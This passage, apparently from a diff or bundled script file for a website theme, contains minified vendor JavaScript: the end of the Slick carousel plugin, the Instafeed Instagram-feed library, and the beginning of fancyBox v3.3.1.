e=this;i(window).width()!==e.windowWidth&&(clearTimeout(e.windowDelay),e.windowDelay=window.setTimeout(function(){e.windowWidth=i(window).width(),e.checkResponsive(),e.unslicked||e.setPosition()},50))},e.prototype.removeSlide=e.prototype.slickRemove=function(i,e,t){var o=this;return"boolean"==typeof i?(e=i,i=e===!0?0:o.slideCount-1):i=e===!0?--i:i,o.slideCount<1||0>i||i>o.slideCount-1?!1:(o.unload(),t===!0?o.$slideTrack.children().remove():o.$slideTrack.children(this.options.slide).eq(i).remove(),o.$slides=o.$slideTrack.children(this.options.slide),o.$slideTrack.children(this.options.slide).detach(),o.$slideTrack.append(o.$slides),o.$slidesCache=o.$slides,void o.reinit())},e.prototype.setCSS=function(i){var e,t,o=this,s={};o.options.rtl===!0&&(i=-i),e="left"==o.positionProp?Math.ceil(i)+"px":"0px",t="top"==o.positionProp?Math.ceil(i)+"px":"0px",s[o.positionProp]=i,o.transformsEnabled===!1?o.$slideTrack.css(s):(s={},o.cssTransitions===!1?(s[o.animType]="translate("+e+", "+t+")",o.$slideTrack.css(s)):(s[o.animType]="translate3d("+e+", "+t+", 0px)",o.$slideTrack.css(s)))},e.prototype.setDimensions=function(){var i=this;i.options.vertical===!1?i.options.centerMode===!0&&i.$list.css({padding:"0px "+i.options.centerPadding}):(i.$list.height(i.$slides.first().outerHeight(!0)*i.options.slidesToShow),i.options.centerMode===!0&&i.$list.css({padding:i.options.centerPadding+" 0px"})),i.listWidth=i.$list.width(),i.listHeight=i.$list.height(),i.options.vertical===!1&&i.options.variableWidth===!1?(i.slideWidth=Math.ceil(i.listWidth/i.options.slidesToShow),i.$slideTrack.width(Math.ceil(i.slideWidth*i.$slideTrack.children(".slick-slide").length))):i.options.variableWidth===!0?i.$slideTrack.width(5e3*i.slideCount):(i.slideWidth=Math.ceil(i.listWidth),i.$slideTrack.height(Math.ceil(i.$slides.first().outerHeight(!0)*i.$slideTrack.children(".slick-slide").length)));var e=i.$slides.first().outerWidth(!0)-i.$slides.first().width();i.options.variableWidth===!1&&i.$slideTrack.children(".slick-slide").width(i.slideWidth-e)},e.prototype.setFade=function(){var e,t=this;t.$slides.each(function(o,s){e=t.slideWidth*o*-1,t.options.rtl===!0?i(s).css({position:"relative",right:e,top:0,zIndex:t.options.zIndex-2,opacity:0}):i(s).css({position:"relative",left:e,top:0,zIndex:t.options.zIndex-2,opacity:0})}),t.$slides.eq(t.currentSlide).css({zIndex:t.options.zIndex-1,opacity:1})},e.prototype.setHeight=function(){var i=this;if(1===i.options.slidesToShow&&i.options.adaptiveHeight===!0&&i.options.vertical===!1){var e=i.$slides.eq(i.currentSlide).outerHeight(!0);i.$list.css("height",e)}},e.prototype.setOption=e.prototype.slickSetOption=function(){var e,t,o,s,n,r=this,l=!1;if("object"===i.type(arguments[0])?(o=arguments[0],l=arguments[1],n="multiple"):"string"===i.type(arguments[0])&&(o=arguments[0],s=arguments[1],l=arguments[2],"responsive"===arguments[0]&&"array"===i.type(arguments[1])?n="responsive":"undefined"!=typeof arguments[1]&&(n="single")),"single"===n)r.options[o]=s;else if("multiple"===n)i.each(o,function(i,e){r.options[i]=e});else if("responsive"===n)for(t in s)if("array"!==i.type(r.options.responsive))r.options.responsive=[s[t]];else{for(e=r.options.responsive.length-1;e>=0;)r.options.responsive[e].breakpoint===s[t].breakpoint&&r.options.responsive.splice(e,1),e--;r.options.responsive.push(s[t])}l&&(r.unload(),r.reinit())},e.prototype.setPosition=function(){var i=this;i.setDimensions(),i.setHeight(),i.options.fade===!1?i.setCSS(i.getLeft(i.currentSlide)):i.setFade(),i.$slider.trigger("setPosition",[i])},e.prototype.setProps=function(){var i=this,e=document.body.style;i.positionProp=i.options.vertical===!0?"top":"left","top"===i.positionProp?i.$slider.addClass("slick-vertical"):i.$slider.removeClass("slick-vertical"),(void 0!==e.WebkitTransition||void 0!==e.MozTransition||void 0!==e.msTransition)&&i.options.useCSS===!0&&(i.cssTransitions=!0),i.options.fade&&("number"==typeof i.options.zIndex?i.options.zIndex<3&&(i.options.zIndex=3):i.options.zIndex=i.defaults.zIndex),void 0!==e.OTransform&&(i.animType="OTransform",i.transformType="-o-transform",i.transitionType="OTransition",void 0===e.perspectiveProperty&&void 0===e.webkitPerspective&&(i.animType=!1)),void 0!==e.MozTransform&&(i.animType="MozTransform",i.transformType="-moz-transform",i.transitionType="MozTransition",void 0===e.perspectiveProperty&&void 0===e.MozPerspective&&(i.animType=!1)),void 0!==e.webkitTransform&&(i.animType="webkitTransform",i.transformType="-webkit-transform",i.transitionType="webkitTransition",void 0===e.perspectiveProperty&&void 0===e.webkitPerspective&&(i.animType=!1)),void 0!==e.msTransform&&(i.animType="msTransform",i.transformType="-ms-transform",i.transitionType="msTransition",void 0===e.msTransform&&(i.animType=!1)),void 0!==e.transform&&i.animType!==!1&&(i.animType="transform",i.transformType="transform",i.transitionType="transition"),i.transformsEnabled=i.options.useTransform&&null!==i.animType&&i.animType!==!1},e.prototype.setSlideClasses=function(i){var e,t,o,s,n=this;t=n.$slider.find(".slick-slide").removeClass("slick-active slick-center slick-current").attr("aria-hidden","true"),n.$slides.eq(i).addClass("slick-current"),n.options.centerMode===!0?(e=Math.floor(n.options.slidesToShow/2),n.options.infinite===!0&&(i>=e&&i<=n.slideCount-1-e?n.$slides.slice(i-e,i+e+1).addClass("slick-active").attr("aria-hidden","false"):(o=n.options.slidesToShow+i,
+t.slice(o-e+1,o+e+2).addClass("slick-active").attr("aria-hidden","false")),0===i?t.eq(t.length-1-n.options.slidesToShow).addClass("slick-center"):i===n.slideCount-1&&t.eq(n.options.slidesToShow).addClass("slick-center")),n.$slides.eq(i).addClass("slick-center")):i>=0&&i<=n.slideCount-n.options.slidesToShow?n.$slides.slice(i,i+n.options.slidesToShow).addClass("slick-active").attr("aria-hidden","false"):t.length<=n.options.slidesToShow?t.addClass("slick-active").attr("aria-hidden","false"):(s=n.slideCount%n.options.slidesToShow,o=n.options.infinite===!0?n.options.slidesToShow+i:i,n.options.slidesToShow==n.options.slidesToScroll&&n.slideCount-i<n.options.slidesToShow?t.slice(o-(n.options.slidesToShow-s),o+s).addClass("slick-active").attr("aria-hidden","false"):t.slice(o,o+n.options.slidesToShow).addClass("slick-active").attr("aria-hidden","false")),"ondemand"===n.options.lazyLoad&&n.lazyLoad()},e.prototype.setupInfinite=function(){var e,t,o,s=this;if(s.options.fade===!0&&(s.options.centerMode=!1),s.options.infinite===!0&&s.options.fade===!1&&(t=null,s.slideCount>s.options.slidesToShow)){for(o=s.options.centerMode===!0?s.options.slidesToShow+1:s.options.slidesToShow,e=s.slideCount;e>s.slideCount-o;e-=1)t=e-1,i(s.$slides[t]).clone(!0).attr("id","").attr("data-slick-index",t-s.slideCount).prependTo(s.$slideTrack).addClass("slick-cloned");for(e=0;o>e;e+=1)t=e,i(s.$slides[t]).clone(!0).attr("id","").attr("data-slick-index",t+s.slideCount).appendTo(s.$slideTrack).addClass("slick-cloned");s.$slideTrack.find(".slick-cloned").find("[id]").each(function(){i(this).attr("id","")})}},e.prototype.interrupt=function(i){var e=this;i||e.autoPlay(),e.interrupted=i},e.prototype.selectHandler=function(e){var t=this,o=i(e.target).is(".slick-slide")?i(e.target):i(e.target).parents(".slick-slide"),s=parseInt(o.attr("data-slick-index"));return s||(s=0),t.slideCount<=t.options.slidesToShow?(t.setSlideClasses(s),void t.asNavFor(s)):void t.slideHandler(s)},e.prototype.slideHandler=function(i,e,t){var o,s,n,r,l,a=null,d=this;return e=e||!1,d.animating===!0&&d.options.waitForAnimate===!0||d.options.fade===!0&&d.currentSlide===i||d.slideCount<=d.options.slidesToShow?void 0:(e===!1&&d.asNavFor(i),o=i,a=d.getLeft(o),r=d.getLeft(d.currentSlide),d.currentLeft=null===d.swipeLeft?r:d.swipeLeft,d.options.infinite===!1&&d.options.centerMode===!1&&(0>i||i>d.getDotCount()*d.options.slidesToScroll)?void(d.options.fade===!1&&(o=d.currentSlide,t!==!0?d.animateSlide(r,function(){d.postSlide(o)}):d.postSlide(o))):d.options.infinite===!1&&d.options.centerMode===!0&&(0>i||i>d.slideCount-d.options.slidesToScroll)?void(d.options.fade===!1&&(o=d.currentSlide,t!==!0?d.animateSlide(r,function(){d.postSlide(o)}):d.postSlide(o))):(d.options.autoplay&&clearInterval(d.autoPlayTimer),s=0>o?d.slideCount%d.options.slidesToScroll!==0?d.slideCount-d.slideCount%d.options.slidesToScroll:d.slideCount+o:o>=d.slideCount?d.slideCount%d.options.slidesToScroll!==0?0:o-d.slideCount:o,d.animating=!0,d.$slider.trigger("beforeChange",[d,d.currentSlide,s]),n=d.currentSlide,d.currentSlide=s,d.setSlideClasses(d.currentSlide),d.options.asNavFor&&(l=d.getNavTarget(),l=l.slick("getSlick"),l.slideCount<=l.options.slidesToShow&&l.setSlideClasses(d.currentSlide)),d.updateDots(),d.updateArrows(),d.options.fade===!0?(t!==!0?(d.fadeSlideOut(n),d.fadeSlide(s,function(){d.postSlide(s)})):d.postSlide(s),void d.animateHeight()):void(t!==!0?d.animateSlide(a,function(){d.postSlide(s)}):d.postSlide(s))))},e.prototype.startLoad=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.hide(),i.$nextArrow.hide()),i.options.dots===!0&&i.slideCount>i.options.slidesToShow&&i.$dots.hide(),i.$slider.addClass("slick-loading")},e.prototype.swipeDirection=function(){var i,e,t,o,s=this;return i=s.touchObject.startX-s.touchObject.curX,e=s.touchObject.startY-s.touchObject.curY,t=Math.atan2(e,i),o=Math.round(180*t/Math.PI),0>o&&(o=360-Math.abs(o)),45>=o&&o>=0?s.options.rtl===!1?"left":"right":360>=o&&o>=315?s.options.rtl===!1?"left":"right":o>=135&&225>=o?s.options.rtl===!1?"right":"left":s.options.verticalSwiping===!0?o>=35&&135>=o?"down":"up":"vertical"},e.prototype.swipeEnd=function(i){var e,t,o=this;if(o.dragging=!1,o.interrupted=!1,o.shouldClick=o.touchObject.swipeLength>10?!1:!0,void 0===o.touchObject.curX)return!1;if(o.touchObject.edgeHit===!0&&o.$slider.trigger("edge",[o,o.swipeDirection()]),o.touchObject.swipeLength>=o.touchObject.minSwipe){switch(t=o.swipeDirection()){case"left":case"down":e=o.options.swipeToSlide?o.checkNavigable(o.currentSlide+o.getSlideCount()):o.currentSlide+o.getSlideCount(),o.currentDirection=0;break;case"right":case"up":e=o.options.swipeToSlide?o.checkNavigable(o.currentSlide-o.getSlideCount()):o.currentSlide-o.getSlideCount(),o.currentDirection=1}"vertical"!=t&&(o.slideHandler(e),o.touchObject={},o.$slider.trigger("swipe",[o,t]))}else o.touchObject.startX!==o.touchObject.curX&&(o.slideHandler(o.currentSlide),o.touchObject={})},e.prototype.swipeHandler=function(i){var e=this;if(!(e.options.swipe===!1||"ontouchend"in document&&e.options.swipe===!1||e.options.draggable===!1&&-1!==i.type.indexOf("mouse")))switch(e.touchObject.fingerCount=i.originalEvent&&void 0!==i.originalEvent.touches?i.originalEvent.touches.length:1,e.touchObject.minSwipe=e.listWidth/e.options.touchThreshold,e.options.verticalSwiping===!0&&(e.touchObject.minSwipe=e.listHeight/e.options.touchThreshold),i.data.action){case"start":e.swipeStart(i);break;case"move":e.swipeMove(i);break;case"end":e.swipeEnd(i)}},e.prototype.swipeMove=function(i){var e,t,o,s,n,r=this;return n=void 0!==i.originalEvent?i.originalEvent.touches:null,!r.dragging||n&&1!==n.length?!1:(e=r.getLeft(r.currentSlide),r.touchObject.curX=void 0!==n?n[0].pageX:i.clientX,r.touchObject.curY=void 0!==n?n[0].pageY:i.clientY,r.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(r.touchObject.curX-r.touchObject.startX,2))),r.options.verticalSwiping===!0&&(r.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(r.touchObject.curY-r.touchObject.startY,2)))),t=r.swipeDirection(),"vertical"!==t?(void 0!==i.originalEvent&&r.touchObject.swipeLength>4&&i.preventDefault(),s=(r.options.rtl===!1?1:-1)*(r.touchObject.curX>r.touchObject.startX?1:-1),r.options.verticalSwiping===!0&&(s=r.touchObject.curY>r.touchObject.startY?1:-1),o=r.touchObject.swipeLength,r.touchObject.edgeHit=!1,r.options.infinite===!1&&(0===r.currentSlide&&"right"===t||r.currentSlide>=r.getDotCount()&&"left"===t)&&(o=r.touchObject.swipeLength*r.options.edgeFriction,r.touchObject.edgeHit=!0),r.options.vertical===!1?r.swipeLeft=e+o*s:r.swipeLeft=e+o*(r.$list.height()/r.listWidth)*s,r.options.verticalSwiping===!0&&(r.swipeLeft=e+o*s),r.options.fade===!0||r.options.touchMove===!1?!1:r.animating===!0?(r.swipeLeft=null,!1):void r.setCSS(r.swipeLeft)):void 0)},e.prototype.swipeStart=function(i){var e,t=this;return t.interrupted=!0,1!==t.touchObject.fingerCount||t.slideCount<=t.options.slidesToShow?(t.touchObject={},!1):(void 0!==i.originalEvent&&void 0!==i.originalEvent.touches&&(e=i.originalEvent.touches[0]),t.touchObject.startX=t.touchObject.curX=void 0!==e?e.pageX:i.clientX,t.touchObject.startY=t.touchObject.curY=void 0!==e?e.pageY:i.clientY,void(t.dragging=!0))},e.prototype.unfilterSlides=e.prototype.slickUnfilter=function(){var i=this;null!==i.$slidesCache&&(i.unload(),i.$slideTrack.children(this.options.slide).detach(),i.$slidesCache.appendTo(i.$slideTrack),i.reinit())},e.prototype.unload=function(){var e=this;i(".slick-cloned",e.$slider).remove(),e.$dots&&e.$dots.remove(),e.$prevArrow&&e.htmlExpr.test(e.options.prevArrow)&&e.$prevArrow.remove(),e.$nextArrow&&e.htmlExpr.test(e.options.nextArrow)&&e.$nextArrow.remove(),e.$slides.removeClass("slick-slide slick-active slick-visible slick-current").attr("aria-hidden","true").css("width","")},e.prototype.unslick=function(i){var e=this;e.$slider.trigger("unslick",[e,i]),e.destroy()},e.prototype.updateArrows=function(){var i,e=this;i=Math.floor(e.options.slidesToShow/2),e.options.arrows===!0&&e.slideCount>e.options.slidesToShow&&!e.options.infinite&&(e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false"),e.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false"),0===e.currentSlide?(e.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false")):e.currentSlide>=e.slideCount-e.options.slidesToShow&&e.options.centerMode===!1?(e.$nextArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false")):e.currentSlide>=e.slideCount-1&&e.options.centerMode===!0&&(e.$nextArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false")))},e.prototype.updateDots=function(){var i=this;null!==i.$dots&&(i.$dots.find("li").removeClass("slick-active").attr("aria-hidden","true"),i.$dots.find("li").eq(Math.floor(i.currentSlide/i.options.slidesToScroll)).addClass("slick-active").attr("aria-hidden","false"))},e.prototype.visibility=function(){var i=this;i.options.autoplay&&(document[i.hidden]?i.interrupted=!0:i.interrupted=!1)},i.fn.slick=function(){var i,t,o=this,s=arguments[0],n=Array.prototype.slice.call(arguments,1),r=o.length;for(i=0;r>i;i++)if("object"==typeof s||"undefined"==typeof s?o[i].slick=new e(o[i],s):t=o[i].slick[s].apply(o[i].slick,n),"undefined"!=typeof t)return t;return o}});
+ 
+ 
+/* instafeed
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+ // Generated by CoffeeScript 1.9.3
+(function(){var e;e=function(){function e(e,t){var n,r;this.options={target:"instafeed",get:"popular",resolution:"thumbnail",sortBy:"none",links:!0,mock:!1,useHttp:!1};if(typeof e=="object")for(n in e)r=e[n],this.options[n]=r;this.context=t!=null?t:this,this.unique=this._genKey()}return e.prototype.hasNext=function(){return typeof this.context.nextUrl=="string"&&this.context.nextUrl.length>0},e.prototype.next=function(){return this.hasNext()?this.run(this.context.nextUrl):!1},e.prototype.run=function(t){var n,r,i;if(typeof this.options.clientId!="string"&&typeof this.options.accessToken!="string")throw new Error("Missing clientId or accessToken.");if(typeof this.options.accessToken!="string"&&typeof this.options.clientId!="string")throw new Error("Missing clientId or accessToken.");return this.options.before!=null&&typeof this.options.before=="function"&&this.options.before.call(this),typeof document!="undefined"&&document!==null&&(i=document.createElement("script"),i.id="instafeed-fetcher",i.src=t||this._buildUrl(),n=document.getElementsByTagName("head"),n[0].appendChild(i),r="instafeedCache"+this.unique,window[r]=new e(this.options,this),window[r].unique=this.unique),!0},e.prototype.parse=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D;if(typeof e!="object"){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,"Invalid JSON data"),!1;throw new Error("Invalid JSON response")}if(e.meta.code!==200){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,e.meta.error_message),!1;throw new Error("Error from Instagram: "+e.meta.error_message)}if(e.data.length===0){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,"No images were returned from Instagram"),!1;throw new Error("No images were returned from Instagram")}this.options.success!=null&&typeof this.options.success=="function"&&this.options.success.call(this,e),this.context.nextUrl="",e.pagination!=null&&(this.context.nextUrl=e.pagination.next_url);if(this.options.sortBy!=="none"){this.options.sortBy==="random"?M=["","random"]:M=this.options.sortBy.split("-"),O=M[0]==="least"?!0:!1;switch(M[1]){case"random":e.data.sort(function(){return.5-Math.random()});break;case"recent":e.data=this._sortBy(e.data,"created_time",O);break;case"liked":e.data=this._sortBy(e.data,"likes.count",O);break;case"commented":e.data=this._sortBy(e.data,"comments.count",O);break;default:throw new Error("Invalid option for sortBy: '"+this.options.sortBy+"'.")}}if(typeof document!="undefined"&&document!==null&&this.options.mock===!1){m=e.data,A=parseInt(this.options.limit,10),this.options.limit!=null&&m.length>A&&(m=m.slice(0,A)),u=document.createDocumentFragment(),this.options.filter!=null&&typeof this.options.filter=="function"&&(m=this._filter(m,this.options.filter));if(this.options.template!=null&&typeof this.options.template=="string"){f="",d="",w="",D=document.createElement("div");for(c=0,N=m.length;c<N;c++){h=m[c],p=h.images[this.options.resolution];if(typeof p!="object")throw o="No image found for resolution: "+this.options.resolution+".",new Error(o);E=p.width,y=p.height,b="square",E>y&&(b="landscape"),E<y&&(b="portrait"),v=p.url,l=window.location.protocol.indexOf("http")>=0,l&&!this.options.useHttp&&(v=v.replace(/https?:\/\//,"//")),d=this._makeTemplate(this.options.template,{model:h,id:h.id,link:h.link,type:h.type,image:v,width:E,height:y,orientation:b,caption:this._getObjectProperty(h,"caption.text"),likes:h.likes.count,comments:h.comments.count,location:this._getObjectProperty(h,"location.name")}),f+=d}D.innerHTML=f,i=[],r=0,n=D.childNodes.length;while(r<n)i.push(D.childNodes[r]),r+=1;for(x=0,C=i.length;x<C;x++)L=i[x],u.appendChild(L)}else for(T=0,k=m.length;T<k;T++){h=m[T],g=document.createElement("img"),p=h.images[this.options.resolution];if(typeof p!="object")throw o="No image found for resolution: "+this.options.resolution+".",new Error(o);v=p.url,l=window.location.protocol.indexOf("http")>=0,l&&!this.options.useHttp&&(v=v.replace(/https?:\/\//,"//")),g.src=v,this.options.links===!0?(t=document.createElement("a"),t.href=h.link,t.appendChild(g),u.appendChild(t)):u.appendChild(g)}_=this.options.target,typeof _=="string"&&(_=document.getElementById(_));if(_==null)throw o='No element with id="'+this.options.target+'" on page.',new Error(o);_.appendChild(u),a=document.getElementsByTagName("head")[0],a.removeChild(document.getElementById("instafeed-fetcher")),S="instafeedCache"+this.unique,window[S]=void 0;try{delete window[S]}catch(P){s=P}}return this.options.after!=null&&typeof this.options.after=="function"&&this.options.after.call(this),!0},e.prototype._buildUrl=function(){var e,t,n;e="https://api.instagram.com/v1";switch(this.options.get){case"popular":t="media/popular";break;case"tagged":if(!this.options.tagName)throw new Error("No tag name specified. Use the 'tagName' option.");t="tags/"+this.options.tagName+"/media/recent";break;case"location":if(!this.options.locationId)throw new Error("No location specified. Use the 'locationId' option.");t="locations/"+this.options.locationId+"/media/recent";break;case"user":if(!this.options.userId)throw new Error("No user specified. Use the 'userId' option.");t="users/"+this.options.userId+"/media/recent";break;default:throw new Error("Invalid option for get: '"+this.options.get+"'.")}return n=e+"/"+t,this.options.accessToken!=null?n+="?access_token="+this.options.accessToken:n+="?client_id="+this.options.clientId,this.options.limit!=null&&(n+="&count="+this.options.limit),n+="&callback=instafeedCache"+this.unique+".parse",n},e.prototype._genKey=function(){var e;return e=function(){return((1+Math.random())*65536|0).toString(16).substring(1)},""+e()+e()+e()+e()},e.prototype._makeTemplate=function(e,t){var n,r,i,s,o;r=/(?:\{{2})([\w\[\]\.]+)(?:\}{2})/,n=e;while(r.test(n))s=n.match(r)[1],o=(i=this._getObjectProperty(t,s))!=null?i:"",n=n.replace(r,function(){return""+o});return n},e.prototype._getObjectProperty=function(e,t){var n,r;t=t.replace(/\[(\w+)\]/g,".$1"),r=t.split(".");while(r.length){n=r.shift();if(!(e!=null&&n in e))return null;e=e[n]}return e},e.prototype._sortBy=function(e,t,n){var r;return r=function(e,r){var i,s;return i=this._getObjectProperty(e,t),s=this._getObjectProperty(r,t),n?i>s?1:-1:i<s?1:-1},e.sort(r.bind(this)),e},e.prototype._filter=function(e,t){var n,r,i,s,o;n=[],r=function(e){if(t(e))return n.push(e)};for(i=0,o=e.length;i<o;i++)s=e[i],r(s);return n},e}(),function(e,t){return typeof define=="function"&&define.amd?define([],t):typeof module=="object"&&module.exports?module.exports=t():e.Instafeed=t()}(this,function(){return e})}).call(this);
+ 
+
+/* fancyBox v3.3.1
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 
+// ==================================================
+// fancyBox v3.3.1
+//
+// Licensed GPLv3 for open source use
+// or fancyBox Commercial License for commercial use
+//
+// http://fancyapps.com/fancybox/
+// Copyright 2018 fancyApps
+//
+// ==================================================
+!function(t,e,n,o){"use strict";function i(t,e){var o,i,a=[],s=0;t&&t.isDefaultPrevented()||(t.preventDefault(),e=t&&t.data?t.data.options:e||{},o=e.$target||n(t.currentTarget),i=o.attr("data-fancybox")||"",i?(a=e.selector?n(e.selector):t.data?t.data.items:[],a=a.length?a.filter('[data-fancybox="'+i+'"]'):n('[data-fancybox="'+i+'"]'),s=a.index(o),s<0&&(s=0)):a=[o],n.fancybox.open(a,e,s))}if(t.console=t.console||{info:function(t){}},n){if(n.fn.fancybox)return void console.info("fancyBox already initialized");var a={loop:!1,gutter:50,keyboard:!0,arrows:!0,infobar:!0,smallBtn:"auto",toolbar:"auto",buttons:["zoom","thumbs","close"],idleTime:3,protect:!1,modal:!1,image:{preload:!1},ajax:{settings:{data:{fancybox:!0}}},iframe:{tpl:'<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',preload:!0,css:{},attr:{scrolling:"auto"}},defaultType:"image",animationEffect:"zoom",animationDuration:366,zoomOpacity:"auto",transitionEffect:"fade",transitionDuration:366,slideClass:"",baseClass:"",baseTpl:'<div class="fancybox-container" role="dialog" tabindex="-1"><div class="fancybox-bg"></div><div class="fancybox-inner"><div class="fancybox-infobar"><span data-fancybox-index></span>&nbsp;/&nbsp;<span data-fancybox-count></span></div><div class="fancybox-toolbar">{{buttons}}</div><div class="fancybox-navigation">{{arrows}}</div><div class="fancybox-stage"></div><div class="fancybox-caption"></div></div></div>',spinnerTpl:'<div class="fancybox-loading"></div>',errorTpl:'<div class="fancybox-error"><p>{{ERROR}}</p></div>',btnTpl:{download:'<a download data-fancybox-download class="fancybox-button fancybox-button--download" title="{{DOWNLOAD}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M13,16 L20,23 L27,16 M20,7 L20,23 M10,24 L10,28 L30,28 L30,24" /></svg></a>',zoom:'<button data-fancybox-zoom class="fancybox-button fancybox-button--zoom" title="{{ZOOM}}"><svg viewBox="0 0 40 40"><path d="M18,17 m-8,0 a8,8 0 1,0 16,0 a8,8 0 1,0 -16,0 M24,22 L31,29" /></svg></button>',close:'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="{{CLOSE}}"><svg viewBox="0 0 40 40"><path d="M10,10 L30,30 M30,10 L10,30" /></svg></button>',smallBtn:'<button data-fancybox-close class="fancybox-close-small" title="{{CLOSE}}"><svg viewBox="0 0 32 32"><path d="M10,10 L22,22 M22,10 L10,22"></path></svg></button>',arrowLeft:'<a data-fancybox-prev class="fancybox-button fancybox-button--arrow_left" title="{{PREV}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M18,12 L10,20 L18,28 M10,20 L30,20"></path></svg></a>',arrowRight:'<a data-fancybox-next class="fancybox-button fancybox-button--arrow_right" title="{{NEXT}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M10,20 L30,20 M22,12 L30,20 L22,28"></path></svg></a>'},parentEl:"body",autoFocus:!1,backFocus:!0,trapFocus:!0,fullScreen:{autoStart:!1},touch:{vertical:!0,momentum:!0},hash:null,media:{},slideShow:{autoStart:!1,speed:4e3},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"},wheel:"auto",onInit:n.noop,beforeLoad:n.noop,afterLoad:n.noop,beforeShow:n.noop,afterShow:n.noop,beforeClose:n.noop,afterClose:n.noop,onActivate:n.noop,onDeactivate:n.noop,clickContent:function(t,e){return"image"===t.type&&"zoom"},clickSlide:"close",clickOutside:"close",dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1,mobile:{idleTime:!1,clickContent:function(t,e){return"image"===t.type&&"toggleControls"},clickSlide:function(t,e){return"image"===t.type?"toggleControls":"close"},dblclickContent:function(t,e){return"image"===t.type&&"zoom"},dblclickSlide:function(t,e){return"image"===t.type&&"zoom"}},lang:"en",i18n:{en:{CLOSE:"Close",NEXT:"Next",PREV:"Previous",ERROR:"The requested content cannot be loaded. <br/> Please try again later.",PLAY_START:"Start slideshow",PLAY_STOP:"Pause slideshow",FULL_SCREEN:"Full screen",THUMBS:"Thumbnails",DOWNLOAD:"Download",SHARE:"Share",ZOOM:"Zoom"},de:{CLOSE:"Schliessen",NEXT:"Weiter",PREV:"Zurück",ERROR:"Die angeforderten Daten konnten nicht geladen werden. <br/> Bitte versuchen Sie es später nochmal.",PLAY_START:"Diaschau starten",PLAY_STOP:"Diaschau beenden",FULL_SCREEN:"Vollbild",THUMBS:"Vorschaubilder",DOWNLOAD:"Herunterladen",SHARE:"Teilen",ZOOM:"Maßstab"}}},s=n(t),r=n(e),c=0,l=function(t){return t&&t.hasOwnProperty&&t instanceof n},d=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),u=function(){var t,n=e.createElement("fakeelement"),i={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(t in i)if(n.style[t]!==o)return i[t];return"transitionend"}(),f=function(t){return t&&t.length&&t[0].offsetHeight},p=function(t,e){var o=n.extend(!0,{},t,e);return n.each(e,function(t,e){n.isArray(e)&&(o[t]=e)}),o},h=function(t,o,i){var a=this;a.opts=p({index:i},n.fancybox.defaults),n.isPlainObject(o)&&(a.opts=p(a.opts,o)),n.fancybox.isMobile&&(a.opts=p(a.opts,a.opts.mobile)),a.id=a.opts.id||++c,a.currIndex=parseInt(a.opts.index,10)||0,a.prevIndex=null,a.prevPos=null,a.currPos=0,a.firstRun=!0,a.group=[],a.slides={},a.addContent(t),a.group.length&&(a.$lastFocus=n(e.activeElement).trigger("blur"),a.init())};n.extend(h.prototype,{init:function(){var i,a,r,c=this,l=c.group[c.currIndex],d=l.opts,u=n.fancybox.scrollbarWidth;"image"===l.type||!/iPad|iPhone|iPod/.test(navigator.userAgent)||t.MSStream||n("body").hasClass("fancybox-iosfix")||n("body").addClass("fancybox-iosfix").css("top",-s.scrollTop()),n.fancybox.getInstance()||(n("body").addClass("fancybox-active"),!n.fancybox.isMobile&&e.body.scrollHeight>t.innerHeight&&(u===o&&(i=n('<div style="width:50px;height:50px;overflow:scroll;" />').appendTo("body"),u=n.fancybox.scrollbarWidth=i[0].offsetWidth-i[0].clientWidth,i.remove()),n("head").append('<style id="fancybox-style-noscroll" type="text/css">.compensate-for-scrollbar { margin-right: '+u+"px; }</style>"),n("body").addClass("compensate-for-scrollbar"))),r="",n.each(d.buttons,function(t,e){r+=d.btnTpl[e]||""}),a=n(c.translate(c,d.baseTpl.replace("{{buttons}}",r).replace("{{arrows}}",d.btnTpl.arrowLeft+d.btnTpl.arrowRight))).attr("id","fancybox-container-"+c.id).addClass("fancybox-is-hidden").addClass(d.baseClass).data("FancyBox",c).appendTo(d.parentEl),c.$refs={container:a},["bg","inner","infobar","toolbar","stage","caption","navigation"].forEach(function(t){c.$refs[t]=a.find(".fancybox-"+t)}),c.trigger("onInit"),c.activate(),c.jumpTo(c.currIndex)},translate:function(t,e){var n=t.opts.i18n[t.opts.lang];return e.replace(/\{\{(\w+)\}\}/g,function(t,e){var i=n[e];return i===o?t:i})},addContent:function(t){var e,i=this,a=n.makeArray(t);n.each(a,function(t,e){var 